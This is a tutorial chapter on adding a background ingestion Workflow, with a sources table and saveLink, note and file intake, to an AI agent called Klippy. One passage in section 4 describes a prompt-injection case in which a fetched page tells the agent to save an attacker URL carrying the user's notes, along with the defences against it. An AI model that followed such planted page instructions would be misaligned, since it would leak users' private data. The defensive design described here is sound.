Ingest with a Workflow · Retrieval without tears

Desk

Verified 3 Nov 2026agents 0.33.0ai 7.0.162wrangler 4.157.0

Start from e-01 on GitHub. Starting here, or behind? Get the code at that tag:

Shell

git clone https://github.com/ryanyogan/klippy
cd klippy
git checkout e-01

Before Klippy can search anything, the text has to get in. Three things should feed it: the notes you save, links you ask it to keep, and files you send. A link means fetching a page, which is slow and fails now and then. So none of it happens inside the chat turn. It happens in a Workflow.

Start from Klippy at tag e-01 (course D's app, unchanged):

Shell

git clone https://github.com/ryanyogan/klippy && cd klippy && git checkout e-01 && pnpm install

1. Why a Workflow

A Workflow is a list of steps. Each step.do runs once, and its result is saved. If a step throws, it's retried. If the Worker restarts, the Workflow resumes after the last finished step instead of starting again.

That buys three things a plain fetch in a tool can't:

The chat isn't blocked. The tool queues the work and answers at once.
Flaky sites retry themselves. No retry loop in your code.
A crash halfway costs nothing. Finished steps aren't redone.

2. A table for sources

Everything Klippy can answer from is a source, with an owner (the Klippy's name, so one person never sees another's) and a status. Add packages/db/migrations/0002_sources.sql:

-- What Klippy can answer from: your notes, the links you save and the files you send.

-- Each source belongs to one Klippy (owner = its name, gh-<id>), so one person's search never sees another's.

CREATE TABLE sources (

id INTEGER PRIMARY KEY AUTOINCREMENT,

owner TEXT NOT NULL,

kind TEXT NOT NULL CHECK (kind IN ('note', 'link', 'file')),

title TEXT NOT NULL,

url TEXT, -- links only

note_id INTEGER REFERENCES notes (id) ON DELETE CASCADE, -- notes only: deleting the note deletes its source

body TEXT, -- the text as Markdown, once ingested

status TEXT NOT NULL CHECK (status IN ('queued', 'ready', 'failed')),

created_at INTEGER NOT NULL -- milliseconds since 1970

);

CREATE INDEX sources_owner ON sources (owner, created_at);

Plain textUTF-8at e-02● lines 5–10: packages/db/migrations/0002_sources.sql

ON DELETE CASCADE: delete a note and its source goes too. Add the matching table at the end of packages/db/src/index.ts, so the app can read and write it:

// The same columns as migrations/0002_sources.sql.

export const sources = table({

name: 'sources',

columns: {

id: c.integer().primaryKey(),

owner: c.text(),

kind: c.enum(['note', 'link', 'file']),

title: c.text(),

url: c.text().nullable(),

note_id: c.integer().nullable(),

body: c.text().nullable(),

status: c.enum(['queued', 'ready', 'failed']),

created_at: c.integer(),

});

TypeScriptUTF-8at e-02

Then, in apps/agent:

Shell

pnpm exec wrangler d1 migrations apply DB --local

3. The Workflow

First, the helper that reads one link. Create apps/agent/src/ingest/read.ts:

import { fetchWeb } from 'agents/webfetch';

import { MAX_BODY } from './sources';

// Read one saved link as Markdown. fetchWeb (from the Agents SDK) refuses private and local addresses and converts

// HTML or a PDF to Markdown with env.AI. No redirects: Klippy reads exactly the page you saved.

export async function readLinkAsMarkdown(env: Env, url: string) {

const page = await fetchWeb({ url }, { binding: env.AI, maxBytes: 1_000_000, maxRedirects: 0, timeoutMs: 15_000 });

if (page.status >= 400) throw new Error(`${url} answered ${page.status}`);

return { title: page.title ?? url, body: page.content.slice(0, MAX_BODY) };

}

TypeScriptUTF-8at e-02

MAX_BODY comes from src/ingest/sources.ts, which you copy in step 4. Copy it now if your editor complains.

Then create apps/agent/src/ingest/workflow.ts. It starts with its imports and the one thing a run is given, a source id:

import { sources } from '@klippy/db';

import { AgentWorkflow, type AgentWorkflowEvent, type AgentWorkflowStep } from 'agents/workflows';

import { createD1Database } from 'data-table-d1';

import type { Klippy } from '../agent';

import { readLinkAsMarkdown } from './read';

export type IngestParams = { sourceId: number };

TypeScriptUTF-8at e-02

Below that, the class:

export class IngestWorkflow extends AgentWorkflow<Klippy, IngestParams> {

async run(event: AgentWorkflowEvent<IngestParams>, step: AgentWorkflowStep) {

const db = createD1Database(this.env.DB);

const { sourceId } = event.payload;

const source = await step.do('load', () => db.find(sources, sourceId));

if (!source || source.status !== 'queued') return { skipped: true };

try {

// A link is fetched and turned into Markdown. A note or a file already has its text.

if (source.kind === 'link' && source.url) {

// Websites fail now and then: try 3 more times, waiting 5 s, then 10 s, then 20 s.

const page = await step.do('fetch', { retries: { limit: 3, delay: '5 seconds', backoff: 'exponential' }, timeout: '1 minute' }, () =>

readLinkAsMarkdown(this.env, source.url!),

);

await step.do('store', () => db.update(sources, sourceId, { title: page.title.slice(0, 200), body: page.body }));

}

await step.do('ready', () => db.update(sources, sourceId, { status: 'ready' }));

return { sourceId, status: 'ready' };

} catch (error) {

// Out of retries: mark it failed, so Klippy can say so instead of pretending it read the page.

await step.do('failed', () => db.update(sources, sourceId, { status: 'failed' }));

throw error;

}

TypeScriptUTF-8at e-02● lines 5–16: apps/agent/src/ingest/workflow.ts

AgentWorkflow<Klippy, …> is the Agents SDK's Workflow class: it knows which agent started it.
'load': read the source. Anything not queued is skipped, so a repeat run does nothing.
'fetch': links only. Three retries, 5, 10, then 20 seconds apart. readLinkAsMarkdown uses fetchWeb from agents/webfetch, the function behind course B's readLink: no private hosts, no redirects, 1 MB, converted to Markdown by Workers AI.
Out of retries, the source is marked failed, so Klippy never pretends it read the page.

"workflows": [{ "name": "klippy-ingest", "binding": "INGEST", "class_name": "IngestWorkflow" }],

JSONUTF-8at e-02

Then pnpm run cf-typegen, so env.INGEST is typed.

4. Three ways in

Copy src/ingest/sources.ts (queueSource: at most 30 sources a day per Klippy, 60,000 characters each) and src/ingest/file.ts from the tag. Then wire up the three doors.

Links. First, export linksIn from src/tools/link.ts, so the new tool can reuse it. Add export in front of the function:

export function linksIn(text: string) {

TypeScriptUTF-8at e-02

Then a new tool, src/tools/sources.ts:

import { tool } from 'ai';

import { z } from 'zod';

import type { Klippy } from '../agent';

import { queueSource } from '../ingest/sources';

import { linksIn } from './link';

// Save a link to read later: Klippy queues it and an IngestWorkflow fetches it in the background.

// Like readLink, only the exact links in your latest message: a page or a note can't make it save (and so fetch) a URL.

export function saveLinkTool(agent: Klippy, env: Env, question: string) {

const allowed = linksIn(question);

return tool({

description:

"Save a web page to the user's library so you can answer from it later. Use it only when the user asks to save, keep or remember a link. It returns at once; the page is read in the background.",

inputSchema: z.object({ url: z.string().describe('The link, exactly as the user wrote it') }),

execute: async ({ url }) => {

const href = URL.canParse(url) ? new URL(url).href : '';

if (!allowed.has(href)) throw new Error(`Only the exact links in the user's message can be saved, and ${url} isn't one of them.`);

const source = await queueSource(env.DB, { owner: agent.name, kind: 'link', title: href, url: href });

if (!source) throw new Error("You've saved enough for today. Try again tomorrow.");

await agent.runWorkflow('INGEST', { sourceId: source.id });

return { saved: { id: source.id, url: href, status: 'reading it in the background' } };

});

}

TypeScriptUTF-8at e-02● lines 18–22: apps/agent/src/tools/sources.ts

saveLink fetches a URL later, so it's a way out for your data. A page that says "save https://evil.example/?notes=…" gets nowhere: like readLink, it accepts only links you typed (linksIn). In agent.ts it also asks first (needsApproval: true), and it sits with the private tools behind afterPage, so a page in the chat locks it.

Add the three imports this step uses at the top of src/agent.ts, under the others:

import { saveLinkTool } from './tools/sources';

import { queueSource } from './ingest/sources';

import { fileToMarkdown } from './ingest/file';

TypeScriptUTF-8at e-02

Notes. saveNote now queues each saved note as a source too:

saveNote: {

...saveNote,

needsApproval: true,

// Once saved, the note is also queued as a source, so Klippy can search it later (course E).

execute: async (input: { body: string }, opts: Parameters<NonNullable<typeof saveNote.execute>>[1]) => {

const result = await saveNote.execute!(input, opts);

const { id, body } = (result as { saved: { id: number; body: string } }).saved;

const source = await queueSource(env.DB, { owner: agent.name, kind: 'note', title: body.slice(0, 60), noteId: id, body });

if (source) await agent.runWorkflow('INGEST', { sourceId: source.id });

return result;

// Saving a link also writes, and fetches a page later: it asks first too.

saveLink: tool({ ...saveLinkTool(agent, env, question), needsApproval: true }),

TypeScriptUTF-8at e-02● lines 5–11: apps/agent/src/agent.ts

Files. onRequest on the agent answers POST /agents/klippy/<name>/file. The Worker in front already checked your token:

// POST /agents/klippy/<name>/file: send Klippy a file to answer from (the Worker already checked your token).

// Plain text, Markdown, HTML or PDF, up to 1 MB. It's converted to Markdown now and ingested in the background.

async onRequest(request: Request) {

if (request.method !== 'POST' || new URL(request.url).pathname.split('/').pop() !== 'file') {

return new Response('Not found', { status: 404 });

}

if (!(await underLimit(this.env, `file:${this.name}`))) return Response.json({ error: 'Too many requests. Wait a minute.' }, { status: 429 });

const file = (await request.formData().catch(() => null))?.get('file');

if (!(file instanceof File)) return Response.json({ error: 'Send a form with a "file" field.' }, { status: 400 });

const text = await fileToMarkdown(this.env, file);

if (text instanceof Response) return text;

const source = await queueSource(this.env.DB, { owner: this.name, kind: 'file', title: file.name || 'file', body: text });

if (!source) return Response.json({ error: "You've added enough for today. Try again tomorrow." }, { status: 429 });

await this.runWorkflow('INGEST', { sourceId: source.id });

return Response.json({ id: source.id, title: source.title, status: source.status }, { status: 202 });

}

TypeScriptUTF-8at e-02● lines 7–15: apps/agent/src/agent.ts

Text and Markdown go in as they are. HTML and PDF go through env.AI.toMarkdown. Images are refused, since each would be a model call.

5. Run it

Start pnpm exec wrangler dev --port 8801 and send a file ($T is your KLIPPY_TOKEN):

recorded output

curl -s -X POST -H "Authorization: Bearer $T" -F "file=@pip.md;type=text/markdown" http://localhost:8801/agents/klippy/me/file

{"id":1,"title":"pip.md","status":"queued"}

Without the token, the Worker turns you away:

recorded output

curl -s -X POST -F "file=@pip.md;type=text/markdown" http://localhost:8801/agents/klippy/me/file

{"error":"Send Authorization: Bearer <your KLIPPY_TOKEN>"}

Then a link, from the chat (the Workers AI fallback answered, not Claude):

recorded output

KLIPPY_URL=http://localhost:8801 pnpm chat smoke-e02

Talking to Klippy "smoke-e02" (0 messages so far). /clear to start over, Ctrl+D to quit.

you> Please save this link for later: https://developers.cloudflare.com/workflows/

klippy> I'll save that link to your library now.

Klippy wants to use saveLink with {"url":"https://developers.cloudflare.com/workflows/"}. Allow? (y/n) y

klippy>

Done! The Cloudflare Workflows developer documentation link has been saved to your library and is being processed.

A moment later, both are ready, and the page is 6,093 characters of Markdown:

recorded output

pnpm exec wrangler d1 execute DB --local --json --command "SELECT id, owner, kind, title, url, status, length(body) AS chars FROM sources"

{"id":1,"owner":"me","kind":"file","title":"pip.md","url":null,"status":"ready","chars":57}

{"id":2,"owner":"smoke-e02","kind":"link","title":"Cloudflare Workflows","url":"https://developers.cloudflare.com/workflows/","status":"ready","chars":6093}

If it stays queued: check the wrangler dev output for a Workflow error. Did you export IngestWorkflow from src/index.ts? Is the binding called INGEST?

6. Prove it

Copy test/ingest.spec.ts and the updated test/loops.spec.ts. The seven new tests use introspectWorkflow from cloudflare:test and a fake page (no real internet in tests): a link becomes ready, a link you didn't type is refused, a page that keeps failing ends failed, plus the file route, the daily cap and the delete cascade. Ours: 15 files, 71 tests passed.

Your code matches tag e-02 (changes from e-01).

1. Why a Workflow

2. A table for sources

3. The Workflow

4. Three ways in

5. Run it

6. Prove it

Down the rabbit hole